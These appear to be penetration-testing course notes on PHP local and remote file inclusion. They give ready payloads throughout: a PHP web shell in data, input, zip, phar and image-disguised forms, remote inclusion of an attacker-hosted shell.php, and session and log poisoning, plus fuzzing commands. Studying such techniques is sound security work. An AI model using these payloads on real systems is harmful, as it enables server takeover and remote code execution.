18 - LFI

Bypassing Basic Filters

Some applications use a simple filter that removes the string ../. Using ....//....//....//etc/passwd yields ../../../etc/passwd.
If the application filters characters such as . or /, URL encoding can be used: ../ as %2e%2e%2f.

PHP Filters

Filter Wrapper

With php://filter/, we apply filters to resources; the most useful is convert.base64-encode, which returns the file contents in Base64.
terminal
php://filter/read=convert.base64-encode/resource=config
The .php extension is omitted from the resource because the application may be appending it automatically.

Fuzzing PHP Files

terminal
$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

RCE

The goal is to escalate from LFI to RCE using PHP wrappers.

Verify allow_url_include (data/input wrappers only)

terminal
$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"$ echo 'BASE64_STRING' | base64 -d | grep allow_url_include

Wrappers for RCE

Data

bash
$ echo '<?php system($_GET["cmd"]); ?>' | base64$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id'

Input

bash
$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

Expect

terminal
$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

RFI

Include remote files; if allow_url_include is enabled, an attacker can execute code (by including a PHP script hosted on their server) or perform SSRF.
bash
# Script malicioso en nuestro servidor<?php system($_GET["cmd"]); ?>$ sudo python3 -m http.server# En la url víctimahttp://<SERVER_IP>:<PORT>/index.php?language=http://<TU_IP>:<LISTENING_PORT>/shell.php&cmd=id

LFI with File Uploads

Upload a file that looks like a valid image but contains PHP code:
bash
$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif# tras subirlo, conociendo la rutahttp://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

Zip and Phar

bash
# Zip$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phphttp://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
php
// Phar
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
terminal
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpghttp://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Log Poisoning

PHP Session Poisoning

PHP session files are stored in /var/lib/php/sessions/ with the session ID. If you control a parameter that is stored in the session:
bash
http://<SERVER_IP>:<PORT>/index.php?language=<?php system(\$_GET['cmd']); ?>http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id

Server Log Poisoning

The logs (access.log/error.log) record the User-Agent, which we can control:
bash
$ curl -s "http://<IP>:<PORT>/index.php" -A "<?php system(\$_GET['cmd']); ?>"http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id

Automating with FFUF and Arjun

terminal
arjun -u <URL>$ ffuf -u 'http://94.237.59.30:52740?view=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -fs 1935